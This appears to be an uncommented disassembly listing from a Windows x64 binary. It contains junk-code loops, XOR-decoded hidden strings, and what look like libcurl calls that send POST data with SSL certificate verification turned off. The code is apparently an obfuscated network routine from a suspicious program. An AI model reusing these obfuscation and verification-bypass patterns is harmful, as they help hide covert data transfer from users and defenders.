mov dword [rsp + 0x9a0], eax
jmp 0x14010ebb7
mov eax, dword [rsp + 0x9a0]
add eax, 3
mov dword [rsp + 0x9a0], eax
mov eax, dword [rsp + 0x9a4]
imul eax, dword [rsp + 0x183c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cc8], eax
cmp dword [rsp + 0x9a4], 3
jl 0x14010eb5c
jmp 0x14010eb2e
cmp dword [rsp + 0x183c], 5
jle 0x14010ec59
mov eax, dword [rsp + 0x183c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1840], eax
mov dword [rsp + 0x9a8], 0x15
mov eax, dword [rsp + 0x9a8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010ec2e
mov eax, dword [rsp + 0x9a8]
shl eax, 1
mov dword [rsp + 0x9a8], eax
jmp 0x14010ec3f
mov eax, dword [rsp + 0x9a8]
add eax, 3
mov dword [rsp + 0x9a8], eax
mov eax, dword [rsp + 0x1840]
dec eax
mov dword [rsp + 0x1840], eax
cmp dword [rsp + 0x1840], 0
jg 0x14010ebfe
jmp 0x14010eaf8
jmp 0x14010e59c
jmp 0x14010f33e
mov dword [rsp + 0x1844], 0
jmp 0x14010ec85
mov eax, dword [rsp + 0x1844]
inc eax
mov dword [rsp + 0x1844], eax
cmp dword [rsp + 0x1844], 5
jge 0x14010f33e
mov dword [rsp + 0x1860], 0x44
mov dword [rsp + 0x9cc], 0
jmp 0x14010ecbb
mov eax, dword [rsp + 0x9cc]
inc eax
mov dword [rsp + 0x9cc], eax
cmp dword [rsp + 0x9cc], 7
jge 0x14010f010
mov eax, dword [rsp + 0x9cc]
add eax, 4
mov dword [rsp + 0x1fc], eax
mov eax, dword [rsp + 0x1fc]
add eax, 4
mov dword [rsp + 0x1fc], eax
cmp dword [rsp + 0x1fc], 0x10
jne 0x14010effd
mov dword [rsp + 0x1848], 0
jmp 0x14010ed16
mov eax, dword [rsp + 0x1848]
inc eax
mov dword [rsp + 0x1848], eax
cmp dword [rsp + 0x1848], 5
jge 0x14010ee6c
mov dword [rsp + 0x184c], 7
mov dword [rsp + 0x9d0], 0
jmp 0x14010ed4c
mov eax, dword [rsp + 0x9d0]
inc eax
mov dword [rsp + 0x9d0], eax
cmp dword [rsp + 0x9d0], 2
jge 0x14010edef
mov eax, dword [rsp + 0x9d0]
inc eax
mov dword [rsp + 0x9b0], eax
mov eax, dword [rsp + 0x9b0]
inc eax
mov dword [rsp + 0x9b0], eax
cmp dword [rsp + 0x9b0], 2
jne 0x14010ede0
mov dword [rsp + 0x9ac], 0x15
mov eax, dword [rsp + 0x9ac]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010edb4
mov eax, dword [rsp + 0x9ac]
shl eax, 1
mov dword [rsp + 0x9ac], eax
jmp 0x14010edc5
mov eax, dword [rsp + 0x9ac]
add eax, 3
mov dword [rsp + 0x9ac], eax
mov eax, dword [rsp + 0x9b0]
imul eax, dword [rsp + 0x184c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1ccc], eax
cmp dword [rsp + 0x9b0], 3
jl 0x14010ed6a
jmp 0x14010ed3c
cmp dword [rsp + 0x184c], 5
jle 0x14010ee67
mov eax, dword [rsp + 0x184c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1850], eax
mov dword [rsp + 0x1ec], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x1ec]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010ee3c
mov eax, dword [rsp + 0x1ec]
shl eax, 1
mov dword [rsp + 0x1ec], eax
jmp 0x14010ee4d
mov eax, dword [rsp + 0x1ec]
add eax, 3
mov dword [rsp + 0x1ec], eax
mov eax, dword [rsp + 0x1850]
dec eax
mov dword [rsp + 0x1850], eax
cmp dword [rsp + 0x1850], 0
jg 0x14010ee0c
jmp 0x14010ed06
mov eax, dword [rsp + 0x1fc]
imul eax, dword [rsp + 0x1860]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1cd0], eax
mov dword [rsp + 0x1854], 0
jmp 0x14010eea7
mov eax, dword [rsp + 0x1854]
inc eax
mov dword [rsp + 0x1854], eax
cmp dword [rsp + 0x1854], 5
jge 0x14010effd
mov dword [rsp + 0x1858], 7
mov dword [rsp + 0x9d4], 0
jmp 0x14010eedd
mov eax, dword [rsp + 0x9d4]
inc eax
mov dword [rsp + 0x9d4], eax
cmp dword [rsp + 0x9d4], 2
jge 0x14010ef80
mov eax, dword [rsp + 0x9d4]
inc eax
mov dword [rsp + 0x1f4], eax
mov eax, dword [rsp + 0x1f4]
inc eax
mov dword [rsp + 0x1f4], eax
cmp dword [rsp + 0x1f4], 2
jne 0x14010ef71
mov dword [rsp + 0x1f0], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x1f0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010ef45
mov eax, dword [rsp + 0x1f0]
shl eax, 1
mov dword [rsp + 0x1f0], eax
jmp 0x14010ef56
mov eax, dword [rsp + 0x1f0]
add eax, 3
mov dword [rsp + 0x1f0], eax
mov eax, dword [rsp + 0x1f4]
imul eax, dword [rsp + 0x1858]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cd4], eax
cmp dword [rsp + 0x1f4], 3
jl 0x14010eefb
jmp 0x14010eecd
cmp dword [rsp + 0x1858], 5
jle 0x14010eff8
mov eax, dword [rsp + 0x1858]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x185c], eax
mov dword [rsp + 0x1f8], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x1f8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010efcd
mov eax, dword [rsp + 0x1f8]
shl eax, 1
mov dword [rsp + 0x1f8], eax
jmp 0x14010efde
mov eax, dword [rsp + 0x1f8]
add eax, 3
mov dword [rsp + 0x1f8], eax
mov eax, dword [rsp + 0x185c]
dec eax
mov dword [rsp + 0x185c], eax
cmp dword [rsp + 0x185c], 0
jg 0x14010ef9d
jmp 0x14010ee97
cmp dword [rsp + 0x1fc], 0x14
jl 0x14010ecda
jmp 0x14010ecab
cmp dword [rsp + 0x1860], 0x28
jle 0x14010f1c6
mov eax, dword [rsp + 0x1860]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1870], eax
mov dword [rsp + 0x1864], 0
jmp 0x14010f051
mov eax, dword [rsp + 0x1864]
inc eax
mov dword [rsp + 0x1864], eax
cmp dword [rsp + 0x1864], 5
jge 0x14010f1a7
mov dword [rsp + 0x1868], 7
mov dword [rsp + 0x9d8], 0
jmp 0x14010f087
mov eax, dword [rsp + 0x9d8]
inc eax
mov dword [rsp + 0x9d8], eax
cmp dword [rsp + 0x9d8], 2
jge 0x14010f12a
mov eax, dword [rsp + 0x9d8]
inc eax
mov dword [rsp + 0x204], eax
mov eax, dword [rsp + 0x204]
inc eax
mov dword [rsp + 0x204], eax
cmp dword [rsp + 0x204], 2
jne 0x14010f11b
mov dword [rsp + 0x200], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x200]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010f0ef
mov eax, dword [rsp + 0x200]
shl eax, 1
mov dword [rsp + 0x200], eax
jmp 0x14010f100
mov eax, dword [rsp + 0x200]
add eax, 3
mov dword [rsp + 0x200], eax
mov eax, dword [rsp + 0x204]
imul eax, dword [rsp + 0x1868]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cd8], eax
cmp dword [rsp + 0x204], 3
jl 0x14010f0a5
jmp 0x14010f077
cmp dword [rsp + 0x1868], 5
jle 0x14010f1a2
mov eax, dword [rsp + 0x1868]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x186c], eax
mov dword [rsp + 0x208], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x208]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010f177
mov eax, dword [rsp + 0x208]
shl eax, 1
mov dword [rsp + 0x208], eax
jmp 0x14010f188
mov eax, dword [rsp + 0x208]
add eax, 3
mov dword [rsp + 0x208], eax
mov eax, dword [rsp + 0x186c]
dec eax
mov dword [rsp + 0x186c], eax
cmp dword [rsp + 0x186c], 0
jg 0x14010f147
jmp 0x14010f041
mov eax, dword [rsp + 0x1870]
sub eax, 3
mov dword [rsp + 0x1870], eax
cmp dword [rsp + 0x1870], 0
jg 0x14010f034
mov dword [rsp + 0x1874], 0
jmp 0x14010f1e3
mov eax, dword [rsp + 0x1874]
inc eax
mov dword [rsp + 0x1874], eax
cmp dword [rsp + 0x1874], 5
jge 0x14010f339
mov dword [rsp + 0x1878], 7
mov dword [rsp + 0x9dc], 0
jmp 0x14010f219
mov eax, dword [rsp + 0x9dc]
inc eax
mov dword [rsp + 0x9dc], eax
cmp dword [rsp + 0x9dc], 2
jge 0x14010f2bc
mov eax, dword [rsp + 0x9dc]
inc eax
mov dword [rsp + 0x210], eax
mov eax, dword [rsp + 0x210]
inc eax
mov dword [rsp + 0x210], eax
cmp dword [rsp + 0x210], 2
jne 0x14010f2ad
mov dword [rsp + 0x20c], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x20c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010f281
mov eax, dword [rsp + 0x20c]
shl eax, 1
mov dword [rsp + 0x20c], eax
jmp 0x14010f292
mov eax, dword [rsp + 0x20c]
add eax, 3
mov dword [rsp + 0x20c], eax
mov eax, dword [rsp + 0x210]
imul eax, dword [rsp + 0x1878]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1cdc], eax
cmp dword [rsp + 0x210], 3
jl 0x14010f237
jmp 0x14010f209
cmp dword [rsp + 0x1878], 5
jle 0x14010f334
mov eax, dword [rsp + 0x1878]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x187c], eax
mov dword [rsp + 0x214], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x214]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14010f309
mov eax, dword [rsp + 0x214]
shl eax, 1
mov dword [rsp + 0x214], eax
jmp 0x14010f31a
mov eax, dword [rsp + 0x214]
add eax, 3
mov dword [rsp + 0x214], eax
mov eax, dword [rsp + 0x187c]
dec eax
mov dword [rsp + 0x187c], eax
cmp dword [rsp + 0x187c], 0
jg 0x14010f2d9
jmp 0x14010f1d3
jmp 0x14010ec75
call fcn.140113d60
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x14010f461
lea rax, [rsp + 0xebe]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1880]
lea rcx, str.VLVW_
mov rdi, rax
mov rsi, rcx
mov ecx, 5
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 4
movsx eax, byte [rsp + rax + 0x1880]
test eax, eax
je 0x14010f3a6
mov dword [rsp + 0x18b0], 1
jmp 0x14010f3b1
mov dword [rsp + 0x18b0], 0
movzx eax, byte [rsp + 0x18b0]
test eax, eax
je 0x14010f416
mov dword [rsp + 0x60], 0
jmp 0x14010f3d1
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 5
jge 0x14010f416
movsxd rax, dword [rsp + 0x60]
movsx eax, byte [rsp + rax + 0x1880]
mov dword [rsp + 0x1900], eax
mov eax, dword [rsp + 0x60]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x1900]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x60]
mov byte [rsp + rcx + 0x1880], al
jmp 0x14010f3c7
lea rax, [rsp + 0x1880]
mov rdx, rax
mov rcx, qword [rsp + 0x53e0]
call fcn.14001af20
mov eax, dword [rsp + 0x30]
or eax, 1
mov dword [rsp + 0x30], eax
mov rcx, qword [rsp + 0x53e8]
call fcn.140022630
nop
mov rcx, qword [rsp + 0x53f0]
call fcn.140022630
mov rax, qword [rsp + 0x53e0]
jmp 0x14010f99c
lea rax, [rsp + 0x1f38]
mov qword [rsp + 0x1d70], rax
mov rax, qword [rsp + 0x1d70]
mov rcx, rax
call fcn.14001ad60
lea rax, [rsp + 0x1f38]
mov qword [rsp + 0x1e78], rax
lea rcx, [rsp + 0x1f38]
call fcn.140022860
nop
lea rax, [rsp + 0x1f70]
mov qword [rsp + 0x1d78], rax
mov rax, qword [rsp + 0x1d78]
mov rcx, rax
call fcn.14001ad60
lea rax, [rsp + 0x1f70]
mov qword [rsp + 0x1e80], rax
lea rcx, [rsp + 0x1f70]
call fcn.140022860
nop
lea rax, [rsp + 0xebd]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1f18]
lea rcx, str.SCZIIV
mov rdi, rax
mov rsi, rcx
mov ecx, listen
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0xb
movsx eax, byte [rsp + rax + 0x1f18]
test eax, eax
je 0x14010f52f
mov dword [rsp + 0x18b4], 1
jmp 0x14010f53a
mov dword [rsp + 0x18b4], 0
movzx eax, byte [rsp + 0x18b4]
test eax, eax
jne 0x14010f59f
mov dword [rsp + 0x64], 0
jmp 0x14010f55a
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0xc
jge 0x14010f59f
movsxd rax, dword [rsp + 0x64]
movsx eax, byte [rsp + rax + 0x1f18]
mov dword [rsp + 0x1904], eax
mov eax, dword [rsp + 0x64]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x1904]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x64]
mov byte [rsp + rcx + 0x1f18], al
jmp 0x14010f550
mov eax, 1
imul rax, rax, 0xb
movsx eax, byte [rsp + rax + 0x1f18]
test eax, eax
je 0x14010f5c1
mov dword [rsp + 0x18b8], 1
jmp 0x14010f5cc
mov dword [rsp + 0x18b8], 0
movzx eax, byte [rsp + 0x18b8]
test eax, eax
je 0x14010f631
mov dword [rsp + 0x68], 0
jmp 0x14010f5ec
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0xc
jge 0x14010f631
movsxd rax, dword [rsp + 0x68]
movsx eax, byte [rsp + rax + 0x1f18]
mov dword [rsp + 0x1908], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, gethostname
idiv ecx
mov eax, edx
add eax, 0x38
mov ecx, dword [rsp + 0x1908]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x68]
mov byte [rsp + rcx + 0x1f18], al
jmp 0x14010f5e2
lea rax, [rsp + 0x1f18]
mov qword [rsp + 0x1948], rax
mov rax, qword [rsp + 0x53f0]
mov qword [rsp + 0x1918], rax
mov rax, qword [rsp + 0x1918]
mov qword [rsp + 0x1938], rax
mov rax, qword [rsp + 0x1918]
cmp qword [rax + 0x18], 0xf
jbe 0x14010f67d
mov dword [rsp + 0x18bc], 1
jmp 0x14010f688
mov dword [rsp + 0x18bc], 0
movzx eax, byte [rsp + 0x18bc]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x14010f6c0
mov rax, qword [rsp + 0x1918]
mov rax, qword [rax]
mov qword [rsp + 0x1d80], rax
mov rax, qword [rsp + 0x1d80]
mov qword [rsp + 0x1938], rax
mov rax, qword [rsp + 0x1938]
mov qword [rsp + 0x1d88], rax
mov rax, qword [rsp + 0x1d88]
mov qword [rsp + 0x1d90], rax
mov r8, qword [rsp + 0x1d90]
mov edx, 0x2712
mov rcx, qword [rsp + 0x38]
call fcn.140116560
mov r8d, 1
mov edx, 0x40
mov rcx, qword [rsp + 0x38]
call fcn.140116560
mov r8, qword [rsp + 0x1948]
mov edx, 0x27c1
mov rcx, qword [rsp + 0x38]
call fcn.140116560
mov r8d, 1
mov edx, 0x51
mov rcx, qword [rsp + 0x38]
call fcn.140116560
mov rax, qword [rsp + 0x53e8]
mov qword [rsp + 0x1920], rax
mov rax, qword [rsp + 0x1920]
mov qword [rsp + 0x1940], rax
mov rax, qword [rsp + 0x1920]
cmp qword [rax + 0x18], 0xf
jbe 0x14010f774
mov dword [rsp + 0x18c0], 1
jmp 0x14010f77f
mov dword [rsp + 0x18c0], 0
movzx eax, byte [rsp + 0x18c0]
mov byte [rsp + 0x35], al
movzx eax, byte [rsp + 0x35]
test eax, eax
je 0x14010f7b7
mov rax, qword [rsp + 0x1920]
mov rax, qword [rax]
mov qword [rsp + 0x1d98], rax
mov rax, qword [rsp + 0x1d98]
mov qword [rsp + 0x1940], rax
mov rax, qword [rsp + 0x1940]
mov qword [rsp + 0x1da0], rax
mov rax, qword [rsp + 0x1da0]
mov qword [rsp + 0x1da8], rax
mov r8, qword [rsp + 0x1da8]
mov edx, 0x271f
mov rcx, qword [rsp + 0x38]
call fcn.140116560
lea r8, [0x140113890]
mov edx, 0x4e2b
mov rcx, qword [rsp + 0x38]
call fcn.140116560
lea r8, [rsp + 0x1f38]
mov edx, 0x2711
mov rcx, qword [rsp + 0x38]
call fcn.140116560
lea r8, [0x1400a0b30]
mov edx, 0x4e6f
mov rcx, qword [rsp + 0x38]
call fcn.140116560
lea r8, [rsp + 0x1f70]
mov edx, 0x272d
mov rcx, qword [rsp + 0x38]
call fcn.140116560
mov rcx, qword [rsp + 0x38]
call fcn.140113e20
mov dword [rsp + 0x190c], eax
lea r8, [rsp + 0x1f08]
mov edx, 0x100001
mov rcx, qword [rsp + 0x38]
call fcn.140113d30
cmp dword [rsp + 0x190c], 0
jne 0x14010f8e8
cmp qword [rsp + 0x1f08], 0
je 0x14010f8e8
mov rdx, qword [rsp + 0x1f08]
lea rcx, [rsp + 0x1ee8]
call fcn.14001af20
mov qword [rsp + 0x1db0], rax
mov eax, dword [rsp + 0x30]
or eax, 2
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x1db0]
mov qword [rsp + 0x1db8], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x1948]
mov rcx, qword [rsp + 0x1db8]
call fcn.1400a03f0
cmp rax, 0xffffffffffffffff
je 0x14010f8e8
mov dword [rsp + 0x18c4], 0
jmp 0x14010f8f3
mov dword [rsp + 0x18c4], 1
movzx eax, byte [rsp + 0x18c4]
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x30]
and eax, 2
test eax, eax
je 0x14010f91c
and dword [rsp + 0x30], 0xfffffffd
lea rcx, [rsp + 0x1ee8]
call fcn.140022630
movzx eax, byte [rsp + 0x36]
test eax, eax
je 0x14010f933
mov rcx, qword [rsp + 0x38]
call fcn.140113d10
xor ecx, ecx
int 0x29
mov rcx, qword [rsp + 0x38]
call fcn.140113d10
lea rdx, [rsp + 0x1f38]
mov rcx, qword [rsp + 0x53e0]
call fcn.140028b70
mov eax, dword [rsp + 0x30]
or eax, 1
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x1f70]
call fcn.140022630
nop
lea rcx, [rsp + 0x1f38]
call fcn.140022630
nop
mov rcx, qword [rsp + 0x53e8]
call fcn.140022630
nop
mov rcx, qword [rsp + 0x53f0]
call fcn.140022630
mov rax, qword [rsp + 0x53e0]
mov rcx, qword [rsp + 0x53b0]
xor rcx, rsp
call fcn.140163a00
add rsp, 0x53c8
pop rdi
pop rsi
ret